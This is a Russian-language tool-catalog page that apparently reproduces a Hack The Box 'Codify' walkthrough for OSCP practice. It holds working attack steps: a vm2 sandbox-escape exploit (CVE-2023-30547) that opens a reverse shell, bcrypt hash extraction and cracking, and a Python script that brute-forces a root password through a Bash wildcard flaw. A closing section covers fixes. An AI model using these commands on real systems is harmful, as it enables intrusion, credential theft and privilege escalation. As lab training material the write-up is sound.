Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Codify-TJNULL-OSCP- — Прохождение Codify (Linux - Easy). Эксплуатирует RCE-уязвимость в vm2 (CVE-2023-30547), извлекает хэши из SQLite-базы данных, взламывает Bcrypt с помощью John и повышает привилегии через сравнение с подстановочными символами Bash в `mysql-backup.sh`. | Kitploit
Инструменты/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
Повышение привилегийАтаки на ПаролиЭксплуатацияЭксплуатация веб-приложенийСбор информацииCTFТестирование на ПроникновениеОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
r3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Прохождение Codify (Linux - Easy). Эксплуатирует RCE-уязвимость в vm2 (CVE-2023-30547), извлекает хэши из SQLite-базы данных, взламывает Bcrypt с помощью John и повышает привилегии через сравнение с подстановочными символами Bash в `mysql-backup.sh`.

Репозиторий
18 дней назадЕщё не проверено

Hack The Box — Разбор Codify

Difficulty OS Platform

Полный разбор и прохождение пентеста машины Codify на Hack The Box.


📌 Информация о машине

ПолеЗначение
НазваниеCodify
ОСLinux
СложностьЛёгкая
Ключевые концепцииvm2 RCE (CVE-2023-30547), перечисление БД SQLite, взлом Bcrypt, эксплуатация подстановочных символов в Bash

🛠️ Сводка / Цепочка атак

root@kitploit:~
[Nmap-сканирование: порты 22, 80, 3000] ➡️ [Обнаружено приложение-песочница Node.js (vm2)]
                                      ⬇️
     [CVE-2023-30547: обход песочницы vm2 (RCE)] ➡️ [Reverse Shell под 'svc']
                                      ⬇️
  [Перечисление SQLite: /var/www/contact/tickets.db] ➡️ [Извлечение bcrypt-хэша Джошуа]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH под 'joshua'] ➡️ [Чтение user.txt]
                                      ⬇️
   [Проверка sudo: /opt/scripts/mysql-backup.sh] ➡️ [Уязвимость сравнения с подстановочными символами]
                                      ⬇️
[Python-скрипт брутфорса] ➡️ [Извлечение root-пароля MySQL] ➡️ [su root] ➡️ [Чтение root.txt]

🔍 Фаза 1: Разведка и перечисление

1. Обнаружение портов

Быстрое сканирование всех 65 535 TCP-портов для обнаружения открытых сервисов:

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. Определение версий сервисов

Детальное перечисление на портах 22, 80, 3000:

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 Фаза 2: Первоначальный доступ (Foothold)

1. Эксплуатация обхода песочницы vm2 (CVE-2023-30547)

Веб-приложение, работающее на порту 3000, использует уязвимую версию библиотеки-песочницы vm2 для Node.js.

Клонируйте публичный репозиторий с эксплойтом:

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. Запуск эксплойта

Запустите локальный слушатель Netcat на вашей атакующей машине:

Bash

root@kitploit:~
ncat -lnvp 4444

Выполните эксплойт, нацеленный на уязвимое веб-приложение:

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

Проверьте полученную оболочку первоначального доступа:

Bash

root@kitploit:~
whoami

🔎 Фаза 3: Внутреннее перечисление и горизонтальное перемещение

1. Перечисление базы данных SQLite

Перейдите в веб-каталог /var/www/contact и изучите базу данных SQLite:

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

Извлеките bcrypt-хэш Джошуа:

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(Нажмите CTRL + d для выхода)

2. Взлом bcrypt-хэша

Взломайте извлечённый хэш с помощью John the Ripper и rockyou.txt:

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. Доступ по SSH и пользовательский флаг

Авторизуйтесь по SSH, используя взломанные учётные данные Джошуа:

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ Фаза 4: Повышение привилегий

1. Перечисление прав sudo

Проверьте разрешённые команды sudo для пользователя joshua:

Bash

root@kitploit:~
sudo -l

Вывод: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. Анализ скрипта резервного копирования

Изучите /opt/scripts/mysql-backup.sh:

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

Уязвимость: Скрипт использует сравнение с шаблоном без кавычек в Bash ([[ $USER_PASS == $DB_PASS* ]]). Это позволяет подстановочным символам (*) в пользовательском вводе выполнять посимвольный перебор реального пароля.

3. Автоматическое извлечение пароля (Python)

Создайте bruteforce.py для посимвольного извлечения root-пароля:

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

Запустите скрипт для извлечения пароля:

Bash

root@kitploit:~
python3 bruteforce.py

4. Root-флаг

Переключитесь в контекст пользователя root, используя извлечённый пароль:

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ Устранение уязвимостей и меры защиты

  • Обновление библиотек Node.js: Откажитесь от использования уязвимых библиотек-песочниц, таких как vm2 (CVE-2023-30547), или обновите их.

  • Безопасные Bash-скрипты: Всегда заключайте переменные в кавычки при операциях сравнения строк ([[ "$USER_PASS" == "$DB_PASS" ]]), чтобы предотвратить непреднамеренное сопоставление с шаблоном и внедрение подстановочных символов в привилегированных скриптах.

Скачать инструмент